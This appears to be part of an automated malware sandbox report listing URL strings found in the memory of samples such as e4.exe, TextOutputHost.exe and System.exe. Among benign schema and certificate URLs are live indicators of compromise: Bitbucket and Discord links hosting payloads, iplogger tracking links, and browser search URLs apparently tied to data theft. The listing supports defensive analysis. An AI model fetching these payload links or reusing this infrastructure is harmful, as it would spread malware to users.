Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.701085986.0000023F8D7D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: powershell.exe, 00000027.00000002.734031327.0000023F8D9E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: TextOutputHost.exe, 0000000C.00000003.538054279.0000025702500000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.632267525.00000257023F8000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539738171.00000257024F3000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe.12.dr, UpSys[1].exe.12.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.555450513.0000000005195000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.541907606.0000000004013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.541907606.0000000004013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.541424977.0000000003F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.541424977.0000000003F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: e4.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: e4.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: e4.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: e4.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: TextOutputHost.exe, 0000000C.00000000.635661669.00007FF633C4A000.00000040.00000001.01000000.00000009.sdmp, TextOutputHost.exe, 0000000C.00000003.526997398.0000025702380000.00000004.00001000.00020000.00000000.sdmp, System.exe, System.exe, 00000014.00000003.579087078.000001F1F96F0000.00000004.00001000.00020000.00000000.sdmp, System.exe, 00000014.00000002.704867086.00007FF6BA29A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: TextOutputHost.exe, 0000000C.00000000.635661669.00007FF633C4A000.00000040.00000001.01000000.00000009.sdmp, TextOutputHost.exe, 0000000C.00000003.526997398.0000025702380000.00000004.00001000.00020000.00000000.sdmp, System.exe, 00000014.00000003.579087078.000001F1F96F0000.00000004.00001000.00020000.00000000.sdmp, System.exe, 00000014.00000002.704867086.00007FF6BA29A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll1.2.11.z%02dH2
Source: e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: e4.exe	String found in binary or memory: https://api.ip.sb/ip
Source: TextOutputHost.exe, 0000000C.00000003.549117265.000002570253E000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.553277214.0000025702532000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531851757.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.586493286.000002570255C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531587138.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.532039017.00000257024F0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.664018957.000001F1F9BE2000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.663818875.000001F1F9BAD000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.597664422.000001F1F9BC0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.597589986.000001F1F9BB9000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.661745598.000001F1F9C11000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.628005021.000001F1F9BCD000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.700997638.000001F1F9BAB000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.662504478.000001F1F9BAB000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.628228126.000001F1F9BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com
Source: TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.633490029.000002570249C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.698383952.000001F1F7D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/0t
Source: TextOutputHost.exe, 0000000C.00000000.633490029.000002570249C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531598471.000002570249F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/7
Source: TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/D:
Source: TextOutputHost.exe, 0000000C.00000000.633490029.000002570249C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531598471.000002570249F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/I
Source: TextOutputHost.exe, 0000000C.00000000.633490029.000002570249C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531598471.000002570249F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538547981.0000025702497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/S
Source: TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e
Source: TextOutputHost.exe, 0000000C.00000003.532039017.00000257024F0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.618250100.000001F1F9C67000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699391360.000001F1F7D65000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.661690507.000001F1F9C67000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.592422033.000001F1F9C32000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699993500.000001F1F7D8B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.627948268.000001F1F9C67000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.703799975.000001F1F9C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/4cedbadc-424b-
Source: System.exe, 00000014.00000003.608323287.000001F1F9BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de
Source: System.exe, 00000014.00000003.628228126.000001F1F9BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-
Source: TextOutputHost.exe, 0000000C.00000003.531598471.000002570249F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/w
Source: TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539391718.000002570241E000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699733299.000001F1F7D7D000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.698383952.000001F1F7D2B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.663279568.000001F1F9BD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/.exe6#p
Source: TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/.exeZ
Source: TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/B
Source: TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/Gp
Source: TextOutputHost.exe, 0000000C.00000003.531851757.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/X
Source: TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/ta
Source: TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.700553525.000001F1F9B80000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.663279568.000001F1F9BD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip
Source: TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip#
Source: TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip02
Source: TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip3
Source: System.exe, 00000014.00000003.663279568.000001F1F9BD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zipws
Source: TextOutputHost.exe, 0000000C.00000000.635661669.00007FF633C4A000.00000040.00000001.01000000.00000009.sdmp, TextOutputHost.exe, 0000000C.00000003.526997398.0000025702380000.00000004.00001000.00020000.00000000.sdmp, System.exe, 00000014.00000003.579087078.000001F1F96F0000.00000004.00001000.00020000.00000000.sdmp, System.exe, 00000014.00000002.704867086.00007FF6BA29A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/GPU6.ziphttps://bitbucket.org/tilttilttilt/test1/
Source: TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.694042345.000001F1F7C9B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.693650264.000001F1F7C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/UpSys.exe
Source: TextOutputHost.exe, 0000000C.00000000.632267525.00000257023F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/UpSys.exeI)
Source: TextOutputHost.exe, 0000000C.00000000.632267525.00000257023F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/UpSys.exeJ)
Source: TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/UpSys.exego
Source: TextOutputHost.exe, 0000000C.00000003.531851757.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/tilttilttilt/test1/downloads/UpSys.exey
Source: e4.exe, 00000000.00000002.541500599.0000000003FA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: e4.exe, 00000000.00000002.541500599.0000000003FA6000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.541424977.0000000003F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1003972615569936414/1003972771124105277/TextOutputHost.exe
Source: e4.exe, 00000000.00000002.541546450.0000000003FB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com4
Source: e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: e4.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: e4.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: e4.exe	String found in binary or memory: https://d.symcb.com/rpa0.
Source: System.exe, 00000014.00000003.628228126.000001F1F9BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d301sr5gafysq2.cloudfront.net;
Source: e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab4
Source: e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699733299.000001F1F7D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: TextOutputHost.exe, 0000000C.00000000.594626278.000002570248D000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699733299.000001F1F7D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1fEwd7
Source: System.exe, 00000014.00000002.699733299.000001F1F7D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1fEwd7u
Source: TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.698383952.000001F1F7D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
